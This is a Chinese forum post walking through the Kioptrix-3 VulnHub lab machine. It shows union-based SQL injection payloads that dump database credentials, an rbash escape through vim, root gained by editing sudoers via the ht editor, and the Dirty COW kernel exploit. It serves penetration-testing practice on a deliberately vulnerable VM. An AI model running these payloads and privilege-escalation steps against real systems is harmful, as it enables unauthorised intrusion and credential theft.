vulnhub靶场【kioptrix-3】靶机

打印 上一主题 下一主题

主题 1045|帖子 1045|积分 3135

前言

靶机:kioptrix-3,IP地址为192.168.1.74
攻击:kali,IP地址为192.168.1.16
都接纳捏造机,网卡为桥接模式
   文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,大概通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d
  在这里解压靶机后,会有一个readme.txt文件,检察该文件,提示是必要进行ip和域名的绑定
在kali中修改/etc/hosts文件即可,在windows中修改C:\Windows\System32\Drivers\etc\hosts文件即可
这里是修改windows文件,因为前面都是修改的kali文件,不能把windows也忘了

主机发现

利用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以利用nmap等工具进行

信息网络

利用nmap扫描端口

  1. nmap -sV -O 192.168.1.74 -p- -T4
复制代码

网站信息探测

访问80端口界面,发现三个功能点,home指向index.php?page=,blog和login指向index.php?system=

检察页面源代码后,发现脚本语言为php,并且是目录型网站,且发现几个地址链接

访问blog,这就是一个博客

访问login,发现是登录界面,实验之前的万能密码进行测试,发现是不行的,不过这里还是可以看到产物的出处,也就是cms为lotusCMS

那么暂且搁置,还有一个目录没有访问检察呢
访问gallery,这个界面的内容挺多

实验进行测试吧,发现点击ligoat press room时,其中的功能多了很多,并且出现php传参id,这个可以进行模糊测试,先以最简单的测试,看有无注入点

sql注入获取账户密码

实验以sql注入的判断,以'进行闭合,发现出现报错,那么大概存在sql注入,并且数据库范例为mysql

进一步测试,确定为数字型的注入
  1. ?id=1 or 1=1--+
  2. ?id=1 and 1=1--+
  3. ?id=1 and 1=2--+
复制代码
实验构造语句,先测试联合查询是否可行,毕竟这个是比较省事的。
首先确定表现列数,可以借助order by
  1. ?id=1 order by 6
复制代码
这里的数字6是经过回显不同确定的

确定列数为6,那么就构造联合查询
  1. ?id=-1 union select 1,2,3,4,5,6 --+
  2. //对于靶机来说,数字1-6代表是可以,不过大部分时候,就算真的存在sql注入,也是并非这样
  3. //而是需要对应类型,所以大部分时候,也是以null进行代表,然后猜测每一个类型是字符还是数字
  4. ?id=-1 union select 1,null,null,null,null,null --+
复制代码
可以看到,在2,3位是有回显的

实验构造语句,来获取当前数据库名称,数据库用户,数据库版本信息
  1. ?id=-1 union select 1,concat(database(),'|',version(),'|',user()),3,4,5,6 --+
复制代码
获取到信息,数据库gallery,数据库版本是5.0之后,具有information_schema这个表,并且确定concat是可用的

那么实验从information_schema中查询gallery中的一些数据,因为一样平常大概当前利用的数据库中有信息,当然肯定还是其他数据库也是有信息的,不过这里先测试这个
  1. ?id=-1 union select 1,concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+
复制代码

发现这个表,那么就测试这个表中的元组
  1. ?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+
复制代码

这两个就非常吸引人了,直接就实验获取
  1. ?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from gallarific_users--+
复制代码

用户名admin和密码n0t7t1k4
结合前面login目录,推测应该可以登录,访问login,并进行测试,不过并非,那么大概漏了数据,返回继承网络
在前面某处有一个表名是dev_accounts,不过其时没关注,其中accounts是账户的意思,结合dev,推测是靶机内的账户

  1. ?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts'--+
复制代码

  1. ?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from dev_accounts--+
复制代码

用户名密码(md5加密)解密密码dreg0d3eccfb887aabd50f243b3f155c0f85Mast3rloneferret5badcaf789d3d1d09794d8f021f40f0estarwars 可以发现这里的密码应该是进行加密,并且挺像md5加密的,假设就是,实验进行破解即可,可借助john爆破,大概利用在线网站识别

rbash逃逸

那么直接测试是否可连接ssh,发现可以登录

实验cd,发现具有rbash,没办法有更完整的功能

输入help,发现有compgen命令可用

常见的rbash逃逸方法有很多,这里通过compgen测试有无vim
  1. compgen -c | grep vim
复制代码

那么随便vim编辑一个文件,然后实验进行rbash逃逸
  1. vim 1
  2. 按着esc,然后输入 :
  3. :set shell=/bin/bash
  4. :shell
复制代码
即可逃逸乐成

还有其他方式,如最简单的,如果可以利用bash,则可以直接逃逸

可自行ai搜索,大概参考一些博主的文章
提权

借助sudo提权

利用find寻找具有SUID权限的文件,发现sudo,实验列出有无文件可用,但是发现当前用户不行
  1. find / -perm -u=s -type f 2>/dev/null
复制代码

那么切换到用户loneferret,直接通过su切换即可,既然是新用户,检察当前目录下的一些文件,发现都指向ht

测试sudo -l,发现虽然有一个文件,说是对于除su以外的都可以实行,但是测试后,根本不行

那么还是从ht下手,直接sudo,发现报错

可以自行ai搜索是什么意思,这里可以设置临时变量
  1. export TERM=xterm
  2. sudo /usr/local/bin/ht
复制代码
大概
  1. sudo TERM=xterm ht
复制代码
这就是打开后的界面

这里的操作方式,可以通过alt+f打开左上角的file菜单,别的的同样,都是alt+红色开头字母,可与打开对应的菜单,按esc退出菜单
这里因为这个ht是通过sudo打开的,所以可以通过这个打开一些无法打开的文件,如/etc/shadow
打开file菜单后,选择open,然后按着tab键盘,这时间就会切换到files,这里可以切换目录

这里就可以实验利用john进行爆破,不过这里肯定耗时间,毕竟还不知道加密方式
并且,这里还是可以修改的,所以还可以修改sudoers文件
打开后,添加一行,因为涉及到修改,所以必要生存,在alt+f后,有save按钮,然后按f10即可退出
  1. loneferret ALL=(ALL) NOPASSWD:ALL
  2. #对于loneferret用户,可以通过sudo执行所有,并且不需要输入密码
复制代码

再次sudo -l检察,可以发现修改乐成,这时间就可以利用sudo为所欲为了

这里还可以在kali生成公私钥,然后去/root目录下,在.ssh目录下,添加一个文件,然后把生成的公钥复制到新文件authorized_keys即可,这里是确认在/root下有.ssh目录的

通过体系内核提权

在靶机测试内核版本等信息
  1. uname -a
  2. uname -r
  3. cat /etc/*release
  4. cat /etc/issue
复制代码

这个内核范围是在脏牛提权的范围内的,只是对于利用哪一个有待测试

测试事后,发现对于40839.c是可以的,当然这里还可以借助脚本工具les.sh大概叫linux-exploit-suggester.sh
这里在github的地址如下:
  1. https://github.com/The-Z-Labs/linux-exploit-suggester
复制代码
这是在kali中指定靶机的uname -a信息分析出最有大概的提权漏洞,也就是脏牛,并且这里还缩小范围了

提权过程就是把40839.c文件下载到靶机内的/tmp目录,然后进行编译,可以检察该文件,其中是有用法的
  1. gcc -pthread 40839.c -o dirty -lcrypt
  2. ./dirty my-new-password
  3. su firefart
复制代码

编译后实行,然后切换到用户firefart,密码就是本身设置的,即可提权

总结

该靶机考察以下几点:

  • 网站功能测试,能点的都点了进行测试,最好是抓包分析,这里可通过浏览器抓包大概burp抓包都行,这里的靶机肉眼可见,就无需抓包
  • 对于注入点可否找到并且测试,现在其实都放置在一个字典中,然后进行模糊测试某一个传参等方式
  • 根本的sql注入要会,这里虽然我只用了联合查询,但是其他方式岂非不行吗,比如延时注入、布尔注入
  • 对于mysql数据库的根本构造要知道,这里是information_schema数据库的重点,当然其他数据库也要去了解
  • 对于rbash逃逸,方法众多,不要范围,这里终极无法逃逸,还是可以切换用户的,这个主要就是练习
  • 对于提权方法,这里是通过命令历史检察大概sudo -l都是可以发现第三方软件,并且初步测试该软件的功能,要快速知道该软件有无可利用点
  • 提权方式,内核版本也是重要的,这里脏牛提权
   这里其实前面有很多步骤都没有写,因为我是测试过,其时觉得并无内容,不重要,但是还是在这里写一下吧,毕竟要养成一个习惯
  

  • 目录扫描爆破,这里其实发现了phpmyadmin界面,可以在这里进行爆破测试。主要就是不要忘记目录爆破,这个大概会取得意想不到的内容
  • CMS漏洞,这里不要忘记搜索并测试,这种很重要,不过这里我是搜索并测试无用后,所以就没有记录。但是一定要知道这个重要的方式

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

美食家大橙子

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表